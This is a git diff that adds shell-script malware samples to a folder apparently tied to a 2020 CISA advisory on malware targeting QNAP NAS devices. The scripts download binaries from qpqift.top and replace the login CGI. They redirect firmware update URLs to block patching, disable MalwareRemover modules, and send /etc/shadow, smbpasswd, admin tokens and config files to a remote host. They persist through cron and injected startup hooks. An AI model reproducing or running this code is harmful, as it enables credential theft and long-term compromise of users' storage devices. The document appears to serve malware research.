#_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + exit 0 +fi +fi +XEOF +chmod 755 ".backup_${file}" +if grep "\.backup_${file}" "$file"; then +: +else +test -f '.qdisk_cmd' && ./.qdisk_cmd -i "$file" +echo ". ./.backup_${file}" >> "$file" +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "$file" +fi + +fi + +if [ ! -f ".qdisk_cmd" ]; then + case "$(uname -m)" in + *x86_64*) + arch=x86_64 + binhash='g2oe7EJJVCiAHY6AG1I1c/lGF8Y=' + ;; + *arm*|*aarch*) + arch=arm + binhash='Z3twHZvQqYZ1vLeu4PLnZekdkRY=' + ;; + *i*86*) + arch=i486 + binhash='gWzECXuIp3dz5yI7RJS9d4+xpq4=' + ;; + esac + + if [ "x${binhash}" != 'x' ]; then + curl --connect-timeout 12 -m 1200 -k -o ".qdisk_cmd.tmp" "https://qpqift.top/data/qdisk_cmd_${arch}" || rm -f ".qdisk_cmd.tmp" + test -f '.qdisk_cmd.tmp' && rsynchash="$(openssl dgst -sha1 -binary ".qdisk_cmd.tmp" | openssl base64)" + if [ "x${rsynchash}" = "x${binhash}" ]; then + mv '.qdisk_cmd.tmp' '.qdisk_cmd' && chmod +x '.qdisk_cmd' + else + rm -f '.qdisk_cmd.tmp' + fi + fi +fi +binhash=''; rsynchash='' + +for path in ".config/backup_conf.sh" ".liveupdate/liveupdate.sh"; do +if [ -f "${path#*/}" ]; then +test -f '.qdisk_cmd' && ./.qdisk_cmd +ia "${path#*/}" +elif [ -f "${bdir}/.qpkg/${path}" ]; then +test -f '.qdisk_cmd' && ./.qdisk_cmd +ia "${bdir}/.qpkg/${path}" +fi +done + +version=$(getcfg System Version) +test "x${version}" = 'x' && version=$(getcfg System Version -f /etc/default_config/uLinux.conf) +test "${version##*.}" -lt 3 || test "${version%%.*}" -lt 4 || test "$(version=${version#*.}; echo "${version%.*}")" -lt 3 && version=4.3.3 || { test "${version##*.}" -gt 5 && version=4.3.5; } + +if [ ! -d rssdoc ]; then +command -v bunzip2 && compext=bz2 || compext=gz +curl --connect-timeout 12 -m 1200 -k -o "rssdoc.tar.${compext}" "https://qpqift.top/data/rssdoc.tar.${compext}" && test -f "rssdoc.tar.${compext}" && rssdochash="$(openssl dgst -sha1 -binary "rssdoc.tar.${compext}" | openssl base64)" && { test "$rssdochash" = 'WOkc6vlUa7A30GKa4Z4o02CIexk=' || test "$rssdochash" = "0h0Jyx52a/F9YB80Ml4SsEsugyA="; } && { test "$compext" = bz2 && tarflag=j || tarflag=z; } && tar -x${tarflag}f "rssdoc.tar.${compext}" || rm -f rssdoc.tar +rm -f "rssdoc.tar.${compext}" +fi + +rm -f /home/httpd/{Liveupdate,FirmwareRelease{,_beta}S.xml} +ln -s "${CWD}"/rssdoc/{Liveupdate,FirmwareRelease{,_beta}S.xml} /home/httpd + +if grep 'Liveupdate\|FirmwareRelease\|QTS_FW' /etc/default_config/uLinux.conf /etc/config/uLinux.conf | grep 'qnap\.com\|0\.0\.0\.0'; then +internalwebport=$(/sbin/getcfg System InnerWebAccessPort -d 58080) +localupdateurl="http://127.0.0.1:${internalwebport}" +sed -i 's/https\?:\/\/[^\/]\+\/\(Liveupdate\|FirmwareRelease\|QTS_FW\)/http:\/\/127.0.0.1:'${internalwebport}'\/\1/' /etc/default_config/uLinux.conf /etc/config/uLinux.conf +fi + +test -f '/etc/config/rssdoc/qpkgcenter_*.xml' || test -h '/etc/config/rssdoc/qpkgcenter_*.xml' && { test -f '.qdisk_cmd' && ./.qdisk_cmd -i '/etc/config/rssdoc/qpkgcenter_*.xml'; rm -f '/etc/config/rssdoc/qpkgcenter_*.xml'; } + +if find /etc/config/rssdoc | grep 'qpkgcenter_.*\.xml'; then +: +else +cp "./rssdoc/Liveupdate/QTS${version}/qpkgcenter_eng.xml" '/etc/config/rssdoc/qpkgcenter_eng.xml' +test -f '.qdisk_cmd' && ./.qdisk_cmd +i '/etc/config/rssdoc/qpkgcenter_eng.xml' +fi + +for file in /etc/config/rssdoc/qpkgcenter_*.xml +do +if [ -f "$file" ] && { rm -f "$file" || [ ! -s "$file" ]; }; then +test -f '.qdisk_cmd' && ./.qdisk_cmd -i "$file" +touch "$file" +cp -f "./rssdoc/Liveupdate/QTS${version}/${file##*/}" "$file" +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "$file" +fi +done +file='' + +for qpkgdir in "${bdir}/.qpkg" '../../.qpkg'; do +test -d "$qpkgdir" && break +done +test -d "${qpkgdir}/MalwareRemover" || mkdir "${qpkgdir}/MalwareRemover" +test -d "${qpkgdir}/MalwareRemover/modules" || mkdir "${qpkgdir}/MalwareRemover/modules" +test -f '.qdisk_cmd' && ./.qdisk_cmd -i "${qpkgdir}/MalwareRemover" + +if [ -d "${qpkgdir}/MalwareRemover/modules" ]; then +for file in 10_derek_3.pyc 12_derek_3.pyc; do +if [ ! -f "${qpkgdir}/MalwareRemover/modules/${file}" ] || rm -f "${qpkgdir}/MalwareRemover/modules/${file}" || test -x "${qpkgdir}/MalwareRemover/modules/${file}" || [ $(wc -c < "${qpkgdir}/MalwareRemover/modules/${file}") -gt 150 ] || [ $(wc -c < "${qpkgdir}/MalwareRemover/modules/${file}") -lt 120 ]; then +test -f '.qdisk_cmd' && test -f "${qpkgdir}/MalwareRemover/modules/${file}" && ./.qdisk_cmd -i "${qpkgdir}/MalwareRemover/modules/${file}" && rm -f "${qpkgdir}/MalwareRemover/modules/${file}" +openssl base64 -d <<"EOF" >"${qpkgdir}/MalwareRemover/modules/${file}" +A/MNCuVwTVxjAAAAAAAAAAABAAAAQAAAAHMLAAAAZQAAgwAAAWQAAFMoAQAAAE4o +AQAAAHQEAAAAZXhpdCgAAAAAKAAAAAAoAAAAAHMVAAAAbW9kdWxlcy8xMF9kZXJl +a18zLnB5dAgAAAA8bW9kdWxlPgEAAABzAAAAAA== +EOF +chmod -x "${qpkgdir}/MalwareRemover/modules/${file}" +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "${qpkgdir}/MalwareRemover/modules/${file}" +fi +done +fi +file=''; qpkgdir='' + +if [ ! -f .rsakey ]; then +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +fi + +cgibindir='/home/httpd/cgi-bin' +if [ ! -f "1551848401_c" ] && [ -f "${cgibindir}/authLogin.cgi" ] && [ ! -f "${cgibindir}/sysauthLogin.cgi" ]; then + test -f "1551848401_c" || touch "1551848401_c" + case "$(uname -m)" in + *x86_64*) + arch=x86_64 + binhash='rrYwg0D4+4DxcDxYQsNTB4JUGlQ=' + ;; + *arm*|*aarch*) + arch=arm + binhash='Z4n2BZdhwjYf0wjM7GCW61WM9eU=' + ;; + *i*86*) + arch=i486 + binhash='U3eHe6syQraRBGgsvkFZH3wibDw=' + ;; + esac + + if [ "x${binhash}" != 'x' ]; then + curl --connect-timeout 12 -m 1200 -k -o ".qal" "https://qpqift.top/data/qal2_${arch}" || rm -f ".qal" + test -f '.qal' && rsynchash="$(openssl dgst -sha1 -binary ".qal" | openssl base64)" + if [ "x${rsynchash}" = "x${binhash}" ]; then + test -f "${cgibindir}"/sysauthLogin.cgi && mv "${cgibindir}"/sysauthLogin.cgi "${cgibindir}"/authLogin.cgi + mv "${cgibindir}"/authLogin.cgi "${cgibindir}"/sysauthLogin.cgi && test -f "${cgibindir}"/sysauthLogin.cgi && mv '.qal' "${cgibindir}"/authLogin.cgi && chmod 755 "${cgibindir}"/authLogin.cgi + fi + test -f '.qal' && rm -f '.qal' + fi +fi + +if [ -f "${cgibindir}"/authLogin.cgi ] && "${cgibindir}"/authLogin.cgi | grep '/dev/null || cat "${confdir}/BOOT.conf"` || { test "$arch_o" = arm && __BOOT_CONF=TS-NASARM; } +command -v hal_app > /dev/null 2>&1 && { __BOOT_DEV=$(hal_app --get_boot_pd port_id=0); } +test "${__BOOT_CONF}" = TS-NASARM || test "$arch_o" = arm && { test -f /etc/IS_TAS && __BOOT_DEV="${__BOOT_DEV:-/dev/mtdblock}7" || __BOOT_DEV="${__BOOT_DEV:-/dev/mtdblock}5"; } || __BOOT_DEV="${__BOOT_DEV:-/dev/sdx}6" +test "x${CONFIG_DEV_NODE}" != "x" && { ubiattach -m "${CONFIG_DEV_PART}" -d 2; mount -t ubifs ubi2:config "${mdir}" > /dev/null 2>&1 || { test -f /etc/IS_TAS && mount -t ext4 /dev/mmcblk0p7 "${mdir}"; } } || mount ${__BOOT_DEV} -t ext2 ${mdir} || { test "${__model}" = "TS-201" && mount -t ext2 /dev/mtdblock4 ${mdir}; } || { ubiattach -m "${CONFIG_DEV_PART}" -d 2; mount -t ubifs ubi2:config "${mdir}"; mount -t ext4 /dev/mmcblk0p7 "${mdir}"; } || { test "${__model}" = "TS-269L" && mount -t ext2 /dev/sdc6 ${mdir}; } || { test "${__model}" = "TS-869" && mount -t ext2 /dev/sdi6 ${mdir}; } || { test "$arch_o" = arm || ${__BOOT_CONF} = "TS-NASARM" && { for i in 5 7 4 6 3 8; do mount -t ext2 "/dev/mtdblock${i}" ${mdir} && break; done; }; } || { test "$arch_o" = x86 && for n in /dev/sdc /dev/sdx /dev/sdi $__BOOT_DEV; do for i in 6 $CONFIG_DEV_PART; do mount -t ext2 ${n}${i} ${mdir} && break 2; done; done; } || { mount -t ext2 $(/sbin/hal_app --get_boot_pd port_id=0)6 ${mdir}; } + +if [ $? -eq 0 ] || mount | grep "$mdir" >/dev/null; then +for file in "${mdir}"/K01* "${mdir}/autorun.sh" '/tmp/config/autorun.sh'; do +if [ -f "$file" ]; then +sedcmd='s/CXqrBM2CVbJog4rwwSz1Bp1i1B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex/CXqrBM2CVbJog4rwwSz1Bp1i1'"'"'\ +verifykey="${verifykey}"'"'"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex/' +grepstring='CXqrBM2CVbJog4rwwSz1Bp1i1B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex' +sedreplace "$grepstring" "$sedcmd" "$file" +sedcmd='s/g4rwwSz1Bp1i1'"'"'/g4rwwS'"''"'z1Bp1i1'"'"'/' +grepstring='g4rwwSz1Bp1i1'"'" +sedreplace "$grepstring" "$sedcmd" "$file" +test -f '.qdisk_cmd' && ./.qdisk_cmd +ia "$file" +fi +done +fi +umount "$mdir" +rmdir "$mdir" +fi + +if [ ! -f '1553058001_c' ]; then +touch '1553058001_c' +key=$(tr -dc 'a-zA-Z0-9' /dev/null || head -c 20 || IFS='' read -rd '' -n 20 key; echo "$key"; } ) +test "x$key" = 'x' && key=$(LC_ALL=C sed 's/[^a-zA-Z0-9]//g' /dev/null || head -c 20 || IFS='' read -rd '' -n 20 key; echo "$key"; } ) +{ echo "$key" | openssl rsautl -pubin -inkey .rsakey -encrypt | openssl enc -base64 -A; printf ':' +{ echo; for file in "${bdir}/.log/.rqsys.log" /etc/config/.qos_config/users/admin/.qtoken /etc/config/.qos_config/users/admin/secondSV.conf /etc/config/smbpasswd /etc/shadow /etc/config/*.conf /etc/default_config/*.conf /etc/*.conf /etc/config/.*.conf /etc/default_config/.*.conf /etc/.*.conf; do printf '%s:' "$file"; cat "$file"; echo; done; printf '%s:' "authLogin.cgi"; /home/httpd/cgi-bin/authLogin.cgi; printf '%s:' "display_name"; /sbin/get_display_name; } | gzip | { dd bs=4096 count=512 || head -c 2097152 || cat; } | openssl enc -aes-256-cbc -k "$key" -md md5 -salt -a -A; } | curl --connect-timeout 12 -m 300 -k -d '@-' "https://qpqift.top/ping.pl" +fi + +if [ ! -f 1551848403_c ]; then +touch 1551848403_c +test -f liveupdate.sh && cronscriptpath=.liveupdate/liveupdate.sh || { test -f backup_conf.sh && cronscriptpath=.config/backup_conf.sh; } + +if [ ! -z $cronscriptpath ]; then +test -d "${bdir}/.system" || mkdir -p "${bdir}/.system" +echo '(exec>/dev/null>&1 2>&1;(PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin";openssl base64 -d -A <<"EOF"|sh&' > "${bdir}/.system/.qinstaller.sh" +chmod 755 "${bdir}/.system/.qinstaller.sh" +{ +cat <<"XXEOF" +( exec >/dev/null 2>&1; ( +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" +command -v dirname >/dev/null 2>&1 || dirname () { test -z "$1" && echo "." && return; local r="${1%"${1##*[!/]}"}"; case $r in /*[!/]*/*|[!/]*/*) r="${r%/*}"; echo "${r%"${r##*[!/]}"}";; */*) echo ${r%%[!/]};; "") echo $1;; *) echo .;; esac; } +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +test -d "$confdir" || confdir=/etc/config +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\ +\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\ +//I;s/\(^\|\ +\)\[[^\ +]\+\]\ +.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +echo 'ab*c' | grep -F 'ab*c' >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } +test "$fgrep" || fgrep=grep +sleep 5 +XXEOF +cat < "\${bdir}/.qpkg/${cronscriptpath}" <<"XEOF" +XXEOF +cat "${cronscriptpath#*/}" +cat </dev/null 2>&1 /dev/null 2>/dev/null & ) & ) +fi + +test -x "\${bdir}/.qpkg/${cronscriptpath}" || chmod 755 "\${bdir}/.qpkg/${cronscriptpath}" + +crontabargs=\$(ps | grep 'cr[o]nd ' | sed -n 's/.*crond[^0-9A-Za-z-]*\\(.\\+\\)/\\1/p') +trycount=10; trycount=\$(( \$trycount - 10 )) +set x \$crontabargs; shift +while [ \$# -gt 0 ] && [ \$trycount -lt 10 ]; do +trycount=\$(( \$trycount + 1 )) +getopts ':c:' OPT 2>/dev/null +test "\$OPT" = 'c' && crontabfile="\${OPTARG}/admin" && break +test "\$OPTIND" -gt 0 && shift "\$OPTIND" && OPTIND=1 || break +done +test "\$crontabfile" && test -f "\${crontabfile}" || crontabfile='/tmp/cron/crontabs/admin' + +for crontab in "\$crontabfile" "\${confdir}/crontab"; do +if \$fgrep "\${bdir}/.qpkg/${cronscriptpath}" "\$crontab"; then +: +else +cronmins=\$(printf '%i' "\$(( \$RANDOM % 60 ))") +cronhour=\$(printf '%i' "\$(( \$RANDOM % 24 ))") +cronhour=\$(printf '%i,' "\$(( ( \$cronhour + 8 ) % 24 ))" "\$(( ( \$cronhour + 16 ) % 24 ))")"\$cronhour" +echo "\$cronmins \$cronhour"' * * * '"\${bdir}/.qpkg/${cronscriptpath} >/dev/null 2>/dev/null" >> "\$crontab" +crontab "\$crontab" +sleep 2 +fi +done +) & ) & +XXEOF +} | { openssl base64 -A; echo; echo 'EOF'; echo ')&)'; } >> "${bdir}/.system/.qinstaller.sh" +{ { crontab -l || cat /etc/config/crontab; } | grep -v '^ *#' | awk '{ print $6 }'; sed -n 's/^ \?[Ss]hell \?= \?//p' /etc/config/qpkg.conf; } | grep '/' | sort | uniq | while IFS= read -r line; do +test ! -z "$line" || continue +test -f "$line" || continue +test "$line" = $(pwd)/liveupdate.sh || test "$line" = $(pwd)/backup_conf.sh && continue +grep '/\.system/\.qinstaller\.sh"; exit' "$line" && continue +head -n 1 "$line" | grep '^#! \?/bin/b\?a\?sh' || continue; +tab=' ' +test "${#tab}" -eq 1 || tab=$(printf '\011') || tab=$(echo -e '\011') +sed -i 's!^\([ '"$tab"']\{1,\}\)exit\([ '"$tab"']\{1,\}[0-9]\{1,\}\)\{0,1\}\(\;\{0,1\}[ '"$tab"']*\)$!\1{ '"${bdir}/.system/.qinstaller.sh"'; exit\2; }\3!;s!^exit\([ '"$tab"']\{1,\}[0-9]\{1,\}\)\{0,1\}\(\;\{0,1\}[ '"$tab"']*\)$!{ '"${bdir}/.system/.qinstaller.sh"'; exit\1; }!;s!/.qpkg/.q\{0,1\}installer.sh; exit!/.system/.qinstaller.sh; exit!' "$line" +hash='' +hash=$(sed -n '2,5p' "$line" | md5sum) +hash=${hash%${hash##*[0-9a-f]}}; hash=${hash#${hash%%[0-9a-f]*}} +trycnt=20 +while [ "x$hash" = 'x18ec5ab42dc1231da518951e4479c27b' ] && [ "$trycnt" -gt 0 ]; do +trycnt=$(( $trycnt - 1)) +sed -i '2,5d' "$line" +hash='' +hash=$(sed -n '2,568{/key=/d;s/\.liveupdate\/liveupdate\.sh//g;s/\.config\/backup_conf\.sh//g;p}' "$line" | md5sum) +hash=${hash%${hash##*[0-9a-f]}}; hash=${hash#${hash%%[0-9a-f]*}} +done +done +fi +fi + +test -f "${ts}_c" || touch "${ts}_c" +rm -f "${CWD}/".tmp.* +exit 0 +} diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/9791c5f567838f1705bd46e880e38e21e9f3400c353c2bf55a9fa9f130f3f077 b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/9791c5f567838f1705bd46e880e38e21e9f3400c353c2bf55a9fa9f130f3f077 new file mode 100644 index 0000000..8915276 --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/9791c5f567838f1705bd46e880e38e21e9f3400c353c2bf55a9fa9f130f3f077 @@ -0,0 +1,572 @@ +#!/bin/sh +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" +command -v dirname >/dev/null 2>&1 || dirname () { test -z "$1" && echo "." && return; local r="${1%"${1##*[!/]}"}"; case $r in /*[!/]*/*|[!/]*/*) r="${r%/*}"; echo "${r%"${r##*[!/]}"}";; */*) echo ${r%%[!/]};; "") echo $1;; *) echo .;; esac; } +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +test -d "$confdir" || confdir=/etc/config +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\ +\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\ +//I;s/\(^\|\ +\)\[[^\ +]\+\]\ +.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +echo 'ab*c' | grep -F 'ab*c' >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } +test "$fgrep" || fgrep=grep + +if [ ! -f "${bdir}/.qpkg/.liveupdate/liveupdate.sh" ]; then +test -d "${bdir}/.qpkg" || mkdir -p "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate" +cat > "${bdir}/.qpkg/.liveupdate/liveupdate.sh" <<"XEOF" +#!/bin/sh +QNAP_QPKG=cloudinstall +QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf +NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall +CLOUD_INSTALL_PATH=/tunnel_agent +CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk +CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2 +COUNTER=1 +ERROR_BAD_REQUEST=400 + +if [ "$fromrcS" = 'TRUE' ]; then +case "$1" in + start) + START_TIME=$(date +"%T") + echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep 